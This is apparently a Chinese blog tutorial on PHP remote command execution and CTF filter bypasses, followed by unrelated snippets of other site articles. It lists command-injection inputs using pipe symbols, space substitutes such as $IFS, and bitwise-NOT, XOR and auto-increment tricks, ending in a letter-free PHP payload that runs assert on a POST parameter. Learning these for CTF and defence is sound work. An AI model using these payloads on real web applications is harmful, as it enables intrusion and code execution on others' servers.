RCE漏洞基础及CTF绕过

1.漏洞成因

可以对系统命令执行函数和调用代码函数传递的值进行控制。

2.系统执行命令函数

system()

exec()

exec会执行系统命令,保存回显最后一行而且单exec不输出结果

shell_exec()

不会输出结果,保存所有回显

passthru()

和system一样

popen()

函数用于执行外部命令,并打开一个管道连接,可以通过该管道连接与命令的输入或输出进行交互

popen("1","2”)

1处为要执行的命令2处选择r(read只读)w(只写)这里选择r会报错

3.代码执行函数

eval()

将字符串作为php代码执行里面可以跟上面可以在php中使用的系统执行命令

assert()

和eval相同

call_user_func()

回调函数,第一个参数为函数名,第二个参数为函数的参数

常用来调用存在漏洞利用的函数

call_user_func_array()

回调函数,第一个参数为函数名,第二个参数为函数参数的数组;

4.其他利用的函数

var_dump()

用于输出信息常用exec配合

echo()

和var_dump作用相同

printf()

和var_dump作用相同

print_r()

其他可以自行查找

5.rce利用

管道符

在rce中可以会出现像是ping指令的题目就需要管道符

举例 题目是   ping 实例为我们输入的内容

          管道符                  实例        作用
                ;127.0.0.1;ls无论对错都执行
                |127.0.01|ls输出右边的结果
                ||111||ls左边为错时执行右边
                &127.0.0.1&ls无论对错都执行
                &&127.0.01&ls左边正确执行右边

空格代替

<
<>
%20
%09
%0a
$IFS
$IFS$9
${IFS}
()

cat替换命令

tac 与cat相反,按行反向输出
more 按页显示
less 与less类似
head 从文件首行查看
tail 从文件末尾查看
nl 与cat相同会显示行数
grep 直接查找文件中的关键字

inux特性绕过

\绕过

加\还是可以执行

""绕过

''绕过

取反绕过

 
<?php
$a = "ls /";
echo $a."\n";
$b = urlencode(~$a);
echo $b."\n";

?>

传入的值为(~%8C%86%8C%8B%9A%92%D7%D8%93%8C%DF%D0%D8%D6);

异或绕过

异或(XOR)是一种逻辑运算,它的原理如下:

符号表示: 异或运算用符号 ^ 表示。

定义: 对于两个二进制位,如果相应位相同则结果为 0,如果相应位不同则结果为 1。

下面是异或运算的真值表:

ABA XOR B
000
011
101
110

对于整个二进制数,异或运算会对每一位进行独立的操作。

异或的性质:

  1. 交换律: A XOR B 等于 B XOR A
  2. 结合律: (A XOR B) XOR C 等于 A XOR (B XOR C)
  3. 自反性: A XOR A 等于 0
  4. 零元素: A XOR 0 等于 A
a = 5
b = 3

a = a ^ b
b = a ^ b
a = a ^ b

print("a =", a)  # 输出 3
print("b =", b)  # 输出 5

异或脚本

valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
​
answer = str(input("请输入进行异或构造的字符串:"))
​
tmp1, tmp2 = '', ''
for c in answer:
  for i in valid:
    for j in valid:
      if (ord(i) ^ ord(j) == ord(c)):
        tmp1 += i
        tmp2 += j
        break
    else:
      continue
    break
print("tmp1为:",tmp1)
print("tmp2为:",tmp2)

传入的值

$a ='393482'^ '@@@@]_';
$b = '13'^']@';
$c = "$a('$b')";

自增绕过

在编程中,自增操作是指将一个变量的值增加1

$number = 10;
$number++;  // 自增操作
echo $number;  // 输出 11

自增操作也可以应用于字母

$letter = 'a';
$letter++;  // 自增操作
echo $letter;  // 输出 'b'
 

在构造无数字字母rce中使用自增可以通过字符串强制拼接数组得到字符型的Array

然后我们要截取第一个字符A可以通过构造[0]

这里通过没有定义的变量$__ $__现在是false(0)

<?php
$_ = ''.[]; #Array
$___ = $_[$__];  #A
$_ = $___;    #A
$__ = $___;   #A

?>

通过自增使$_为S

将$_再次赋值为A构造其他字符

assert构造完成构造post

<?php
$_ = ''.[];
$___ = $_[$__];
$_ = $___;
$__ = $___;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$___ .= $_;
$___ .= $_;
$_ = $__;
$_++;$_++;$_++;$_++;
$___ .= $_;
$_ = $__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$___ .= $_;
$_ = $__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$___ .= $_;
$_ = $__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____ .= "$";
$____ .= "_";
$____ .= $_;
$_ = $__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____ .= $_;
$_ = $__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____ .= $_;
$_ = $__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____ .= $_;
echo ($___."($____ [_])");



本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/246828.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

STM32F407-14.3.2-03 中心对齐模式

中心对齐模式&#xff08;递增/递减计数&#xff09; 在中心对齐模式下&#xff0c;计数器从 0 开始计数到自动重载值&#xff08;TIMx_ARR 寄存器的内容&#xff09;— 1&#xff0c;生成计数器上溢事件&#xff1b;然后从自动重载值开始向下计数到 1 并生成计数器下溢事件。之…

LLM(七)| Mamba:LLM新架构的浅探

目前大型语言模型&#xff08;LLM&#xff09;领域发展如火如荼&#xff0c;本文将重点探索在单个消费级GPU上可以有效运行的小型模型&#xff08;≤7B个参数&#xff09;。 我们将从以下几个方面重点介绍基于新架构的语言模型&#xff1a;&#x1f40d;Mamba模型&#xff08;h…

HTTP 302错误:临时重定向

在Web开发中&#xff0c;HTTP状态码是用于表示Web服务器响应的各种状态。其中&#xff0c;HTTP 302错误表示临时重定向&#xff0c;这意味着请求的资源已被临时移动到其他位置&#xff0c;并且服务器已经提供了新的URL&#xff0c;以便客户端可以重新发送请求。 了解HTTP 302错…

「Verilog学习笔记」RAM的简单实现

专栏前言 本专栏的内容主要是记录本人学习Verilog过程中的一些知识点&#xff0c;刷题网站用的是牛客网 timescale 1ns/1ns module ram_mod(input clk,input rst_n,input write_en,input [7:0]write_addr,input [3:0]write_data,input read_en,input [7:0]read_addr,output reg…

2023PCTF Double_SS

记录一下 ssrf配合 ssti的结合 首先开启环境 明显的ssrf 让我们访问 5555端口 使用http协议访问 url127.0.0.1:5555 告诉我们去访问 name 并且给我们key url127.0.0.1:5555/name 出现报错 说我们不是admin 然后我们往下看 我们使用file协议读取app/app.py urlfile:///app…

基于ssm的汽车服务商城系统设计与实现论文

摘 要 本课题是根据用户的需要以及网络的优势建立的一个基于Vue的汽车服务商城系统&#xff0c;来更好的为用户提供服务。 本基于Vue的汽车服务商城系统应用Java技术&#xff0c;MYSQL数据库存储数据&#xff0c;基于SSMVue框架开发。在网站的整个开发过程中&#xff0c;首先对…

Python自动化:selenium常用方法总结

使用的Python版本为3.8&#xff0c;selenium版本为4.15.2 Python自动化:selenium常用方法总结 1. 三种等待方式2. 浏览器操作3. 8种查找元素的方法4. 高级事件 1. 三种等待方式 强制等待 使用模块time下的sleep()实现等待效果隐式等待 使用driver.implicitly_wait()方法&#…

大数据云计算——使用Prometheus-Operator进行K8s集群监控

大数据云计算——使用Prometheus-Operator进行K8s集群监控 一、 背景 在非operator配置的普罗中我们监控k8s集群都是通过配置configmap进行服务发现和指标拉取。切换到prometheus-operator难免会有些使用问题。不少用户已经习惯底层配置自动发现的方式。当过渡到servicemonit…

【docker】常用命令

启动docker服务 systemctl start docker 停止docker服务 systemctl stop docker 重启docker服务 systemctl restart docker 查看docker服务状态 systemctl status docker 设置开机启动docker服务 systemctl enable docker 设置关闭开机启动docker服务 systemctl disable …

Excel实现字母+数字拖拉自动递增,步长可更改

目录 1、带有字母的数字序列自增加&#xff08;步长可变&#xff09; 2、仅字母自增加 3、字母数字同时自增 1、带有字母的数字序列自增加&#xff08;步长可变&#xff09; 使用Excel通常可以直接通过拖拉的方式&#xff0c;实现自增数字&#xf…

02基于matlab的卡尔曼滤波

基于matlab的卡尔曼滤波&#xff0c;可更改状态转移方程&#xff0c;控制输入&#xff0c;观测方程&#xff0c;设置生成的信号的噪声标准差&#xff0c;设置状态转移方差Q和观测方差R等参数&#xff0c;程序已调通&#xff0c;需要直接拍下。

luttuce(RedisTempate)实现hash expire lua脚本

话不多说先放脚本&#xff1a; local argv ARGV local length #argv if length > 0 then local unpackArgs {} for i 1, length - 1 dotable.insert(unpackArgs, argv[i]) end if redis.call(exists, KEYS[1]) 1 thenredis.call(del, KEYS[1])redis.call(hset, KEYS[…

前端自定义icon的方法(Vue项目)

第一步&#xff1a;进入在线的编辑器进行设计 好用&#xff1a;百度字体编辑器 比如先导入有个ttf文件 添加新字体 双击每个模块进入编辑区域 更改相应的信息&#xff0c;比如name 编辑完了进行导出文件(各种格式就行了)就行了 第二步&#xff1a;在项目中asset文件储存这些文…

十指波教育怎么样,课程是最新的吗

我们所有的课程内容&#xff0c;每年都会更新。 可以看一下我们的B站&#xff1a; 但是说到底&#xff0c;我们做私教服务 和那些传统的培训还是有很大区别。 传统培训机构不管线上还是线下主要是在卖一套课程的课程&#xff0c;可能是直播或者面授&#xff0c;你花钱买到的…

亚马逊云科技助力泡泡玛特快速部署全球弹性资源,打造国潮出海文化

企业全球化的终极目标就是品牌出海。1978年伴随着改革开放&#xff0c;中国企业开始放眼望世界输出中国产品&#xff0c;经过多年锤炼后&#xff0c;中国企业如TCL、泡泡玛特在不同的行业重塑版图&#xff0c;对外输出中国品牌&#xff0c;赢得了全球市场&#xff0c;中国企业实…

代码随想录算法训练营第52天| 300.最长递增子序列 674. 最长连续递增序列 718. 最长重复子数组

JAVA代码编写 300.最长递增子序列 给你一个整数数组 nums &#xff0c;找到其中最长严格递增子序列的长度。 子序列 是由数组派生而来的序列&#xff0c;删除&#xff08;或不删除&#xff09;数组中的元素而不改变其余元素的顺序。例如&#xff0c;[3,6,2,7] 是数组 [0,3,1…

Talk | 上海交通大学魏思哲: CoBEVFlow-解决车-车/路协同感知的时序异步问题

本期为TechBeat人工智能社区第556期线上Talk。 北京时间12月14日(周四)20:00&#xff0c;上海交通大学硕士生—魏思哲的Talk已准时在TechBeat人工智能社区开播&#xff01; 他与大家分享的主题是: “CoBEVFlow-解决车-车/路协同感知的时序异步问题”&#xff0c;介绍了他的团队…

“机器人V2.0时代已来”-任务规划难题迎刃而解,世界因机器人改变而翻转!

01-VILA背景简介 2022年&#xff0c;Michael Ahn, Anthony Brohan等人提出“Do as i can, not as i say: Grounding language in robotic affordances”算法。本文指出虽然大型语言模型可以编码关于世界的丰富语义知识&#xff0c;而这些知识对旨在对用自然语言表达的高级、时…

初探栈溢出(上)

0x01 HEVD介绍 HEVD全称为HackSys Ex treme Vulnerable Drive&#xff0c;是一个项目&#xff0c;故意设计包含多种漏洞的驱动程序&#xff0c;旨在帮助安全爱好者来提升他们在内核层面的漏洞利用能力。 说白了&#xff0c;是一个内核漏洞的靶场。 项目地址&#xff1a;htt…

做数据分析为何要学统计学(10)——什么是回归分析

​回归分析&#xff08;regression analysis)是量化两种或两种以上因素/变量间相互依赖关系的统计分析方法。回归分析根据因素的数量&#xff0c;分为一元回归和多元回归分析&#xff1b;按因素之间依赖关系的复杂程度&#xff0c;可分为线性回归分析和非线性回归分析。我们通过…